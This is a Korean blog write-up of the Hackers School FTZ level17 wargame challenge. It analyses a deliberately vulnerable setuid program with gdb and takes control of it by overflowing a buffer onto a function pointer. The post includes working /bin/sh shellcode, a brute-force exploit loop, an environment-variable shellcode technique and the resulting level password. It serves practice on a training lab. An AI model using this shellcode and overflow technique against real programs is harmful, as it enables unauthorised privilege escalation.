본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level17 -> level18 ) by ORANG


FTZ_level17

 

 [level17@ftz level17]$ bash2

[level17@ftz level17]$ cat hint

 

#include <stdio.h>

 

void printit() {

  printf("Hello there!\n");

}

 

main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  setreuid(3098,3098);

  call();

}

 

bash2 띄우고~~ 힌트를 보니 level16문제에서 shell 함수가 사라진 것 같네요ㅎㅎ

buf에 셸코드를 집어넣고, printit 함수의 호출 부분( call(); )을 buf의 주소로 바꿔주면 될 것 같습니다.

 

gdb로 분석하고 메모리 구조를 그려보겠습니다~

 

 (gdb) disas main

Dump of assembler code for function main:

0x080484a8 <main+0>: push   %ebp

0x080484a9 <main+1>: mov    %esp,%ebp

0x080484ab <main+3>: sub    $0x38,%esp

0x080484ae <main+6>: movl   $0x8048490,0xfffffff0(%ebp)

0x080484b5 <main+13>: sub    $0x4,%esp

0x080484b8 <main+16>: pushl  0x804967c

0x080484be <main+22>: push   $0x30

0x080484c0 <main+24>: lea    0xffffffc8(%ebp),%eax

0x080484c3 <main+27>: push   %eax

0x080484c4 <main+28>: call   0x8048350 <fgets>

0x080484c9 <main+33>: add    $0x10,%esp

0x080484cc <main+36>: sub    $0x8,%esp

0x080484cf <main+39>: push   $0xc1a

0x080484d4 <main+44>: push   $0xc1a

0x080484d9 <main+49>: call   0x8048380 <setreuid>

0x080484de <main+54>: add    $0x10,%esp

0x080484e1 <main+57>: mov    0xfffffff0(%ebp),%eax

0x080484e4 <main+60>: call   *%eax

0x080484e6 <main+62>: leave

0x080484e7 <main+63>: ret

 

main+3 을 보면 0x38(10진수로 65바이트) 의 메모리 확보를 확인할 수 있고

main+6 을 보면 main+6을 보면 0x8048500, printit 함수의 주소를 ebp-16지점( *call )에 저장하는게 보이네요

 

RET [4]

SFP [4]

dummy [4]

crap [4]

dummy [4]

* call [4]

dummy [20]

buf [20]

 

 

fgets 함수에 의해 buf를 입력받은 직후인 main+33에 브레이크 포인트를 걸어주고 

buf의 주소를 찾아보겠습니다

 

 (gdb) b * main+33

Breakpoint 1 at 0x80484c9

(gdb) r

Starting program: /home/level17/tmp/attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

Breakpoint 1, 0x080484c9 in main ()

(gdb) x/40x $esp

0xbfffeeb0: 0xbfffeec0 0x00000030 0x4212ecc0 0x00000000

0xbfffeec0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffeed0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffeee0: 0x41414141 0x41414141 0x41414141 0x00414141

0xbfffeef0: 0x4200af84 0x42130a14 0xbfffef18 0x42015574

0xbfffef00: 0x00000001 0xbfffef44 0xbfffef4c 0x4001582c

0xbfffef10: 0x00000001 0x08048390 0x00000000 0x080483b1

0xbfffef20: 0x080484a8 0x00000001 0xbfffef44 0x08048308

0xbfffef30: 0x08048530 0x4000c660 0xbfffef3c 0x00000000

0xbfffef40: 0x00000001 0xbffffc27 0x00000000 0xbffffc42

 

 

buf의 시작 주소를 0xbfffeec0 이네요ㅎㅎ

반복을 통해 랜덤스택을 우회한 후에

buf에 nop+셸코드를 40바이트 덮어쓰고, *call을 buf의 주소로 덮어쓰겠습니다!!

그럼 공격을 해보면..

 

 [level17@ftz level17]$ while  [ 1 ]; do (perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\xc0\xee\xff\xbf"'; cat) | ./attackme; done

 

 

세그멘테이션 오류

 

 

잘못된 명령어

 

 

세그멘테이션 오류

 

 

세그멘테이션 오류

 

 

세그멘테이션 오류

 

 

…생략…

 

하… 실패했습니다…

방법이 틀린 것 같지는 않은데…

이부분에 대한 문제점을 찾지 못해서 어쩔 수 없이 환경변수를 이용해 공격해보겠습니다.

// 방법 자체는 맞았으나, 반복시도횟수가 적어 셸을 띄우지 못했습니다.

// 공격 성공 부분은 밑에 p.s.부분을 확인해주세요 

 

[level17@ftz tmp]$ export ORANG=`perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level17@ftz tmp]$ echo $ORANG

1??h//shh/bin??S????

                    ??

 

환경변수 ORANG에 nop+ 셸코드를 올린 후,

ORANG의 주소를 불러오는 간단한 소스를 코딩해 주소를 구했습니다.

 

[level17@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("ORANG")); } ' > getenv.c

[level17@ftz tmp]$ gcc getenv.c -o getenv

[level17@ftz tmp]$ ./getenv

ADDR -> 0xbffffedb

 

[level17@ftz level17]$ (perl -e 'print "\x90"x40, "\xdb\xfe\xff\xbf"'; cat) | ./attackme

id

 

id

uid=3098(level18) gid=3097(level17) groups=3097(level17)

my-pass

TERM environment variable not set.

 

Level18 Password is "why did you do it”.

 

역시 환경변수를 이용한 방법은 깔끔하네요ㅎㅎ level18의 셸을 획득했습니다

 

--------------------------------------------------------------------------------------------------------------------------

 

p.s. 공격에 실패했던 첫번째 방법을 다시 시도해본 결과..

정말 어이없게도.. 방법은 틀리지 않았지만, 반복을 통해 랜덤스택을 우회하던 중에

메모리가 제대로 걸릴만큼 충분히 시도하지 않았었나 봅니다ㅠㅠ

역시 삽질만이 답...

 

같은 방법으로 다시 시도한 결과.. 셸을 획득한 것을 확인했습니다.

 

 [level17@ftz level17]$ while  [ 1 ]; do (perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\xc0\xee\xff\xbf"';cat) | ./attackme;  done

 

 

세그멘테이션 오류

 

 

세그멘테이션 오류

 

 

세그멘테이션 오류

 

 

잘못된 명령어

 

 

세그멘테이션 오류

 

 

세그멘테이션 오류

 

 

…생략…

 

 

id

uid=3098(level18) gid=3097(level17) groups=3097(level17)

my-pass

TERM environment variable not set.

 

Level18 Password is "why did you do it".